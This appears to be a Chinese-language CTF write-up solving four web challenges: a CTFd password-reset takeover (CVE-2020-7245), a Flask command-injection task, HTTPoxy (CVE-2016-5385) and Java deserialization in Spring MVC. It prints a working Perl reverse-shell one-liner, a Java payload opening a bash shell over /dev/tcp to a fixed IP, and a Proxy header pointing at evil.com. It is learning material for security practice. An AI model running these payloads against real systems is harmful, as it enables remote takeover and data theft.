HappyCTFd
考點:
CVE-2020-7245
https://www.colabug.com/2020/0204/6940556/
利用方式:
注冊一個如下賬號,這里郵箱為buu上的內網郵箱系統
前往/reset_password找回密碼
發送完成后把我們注冊的用戶名改一下:
然后用郵箱的找回密碼鏈接改admin的密碼123,登陸,找到flag文件
CHECKIN
考點:
反彈shell
linux文件描述符
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
首先flag_file = open("flag.txt", "r"),然后在shell頁面,可供我們傳入c參數命令執行,不過在這之前已經把flag.txt給刪了
當一個進程打開某個文件直到關閉前,該進程會獲得文件描述符,而文件描述符里有文件的內容,即便已經將文件刪除,只是刪除了其相應的目錄索引節點,若進程依然存在沒被關閉的話,就依然可以通過文件提供給它的文件描述符進行操作
所以只要找到該進程就可以讀取flag,/proc/[pid]/fd
是一個目錄,包含進程打開文件的情況
然后就要利用反彈shell了,打開buu的linux labs,ssh連上,監聽端口:
payload:
perl -e 'use Socket;$i="YOURIP";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' &
urlencode一下發幾次即可彈shell:
cat /proc/*/fd/*
或者也可以挨個找
TimeTravel
HTTPoxy漏洞(CVE-2016-5385)
https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy
這個漏洞的前提之一就是
你的服務跑在PHP的CGI模式下(cgi, php-fpm)
看一下phpinfo找到fpm (應該
然后就看一下如何利用吧
cgi(fastcgi)要將用戶傳入的所有HTTP頭都加上HTTP_前綴放入環境變量中,而恰好大多數類庫約>定俗成會提取環境變量中的HTTP_PROXY值作為HTTP代理地址。於是,惡意用戶通過提交Proxy: >http://evil.com這樣的HTTP頭,將使用缺陷類庫的網站的代理設置為http://evil.com,進而竊取數據包>中可能存在的敏感信息。
PHP5.6.24版本修復了該漏洞,不會再將Proxy放入環境變量中
也就是增加一個Proxy的頭,cgi會自動將我們加上HTTP_前綴,正好構成了環境變量中的HTTP_PROXY代理,結合題目就是將請求結果構造成{"success"=>true}
會返回flag
還是要用到內網服務器,不過這里達服務我一直沒弄成功,其實只要構造一個response返回就可以了,參考一位師傅的payload:
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16
{"success":true}
EasySpringMVC
java的題太頂了,遲早都得遇到那還是先跟着思路做吧
首先拿到源碼用JD-GUI反編譯一下得到代碼
ClientInfo.class主要是用來存儲用戶信息的
Tools.class繼承了Serializable,所以是用來序列化反序列化的類,parse方法是用來反序列化的(readObject),create是用來序列化的(writeObject),這里需要說一下
java在writeObject或readObject被重寫時,(反)序列化該類時調用便是重寫后的方法。如果>該方法書寫不當的話就有可能引發惡意代碼的執行
可以看到上面的readObject就被重寫了,並且新建了一個ProcessBuilder方法
而它是可以執行命令的,如:
Process p =new ProcessBuilder("ipconfig","/all").start(); //執行ipconfig/all命令
ClientInfoFilter.class:主要做的就是判斷cookie中有沒有cinfo,如果沒有就進行初始化用戶為Anonymous,然后進行序列化等操作存入cookie
相反的如果有的話就調用parse反序列化:
先來看一下cookie,直接用base64解密不了,是因為java的序列化是將對象寫成二進制流
可以看一下下面這個例子:
main:
User.class:
跑一下
所以這些數據是不能直接在文本里更改的,所以這里就依葫蘆畫瓢,模仿它的方式,將用戶改成admin
跑出來換一下cookie,變成了admin,證明可行
那么接下來就要利用ProcessBuilder去命令執行,
現在關鍵就是如何控制這個obj參數,可以看到obj是由readObject讀來的,那么就加一個
writeObject方法,內容如下:
private void writeObject(ObjectOutputStream out) throws IOException,ClassNotFoundException{
String command[]={"bash","-c","bash -i>& /dev/tcp/174.1.15.118/2333 0>&1"};
out.writeObject(command);
}
在序列化的時候因為有重寫所以會被調用,然后將command[]寫入,在反序列化的時候被成功執行,添加到Tools.class下,main函數為:
跑一下替換cookie,監聽端口,刷新即可彈shell
貼一下java反序列化的文章:
https://xz.aliyun.com/t/6787#toc-0
https://blog.csdn.net/Leon_cx/article/details/81517603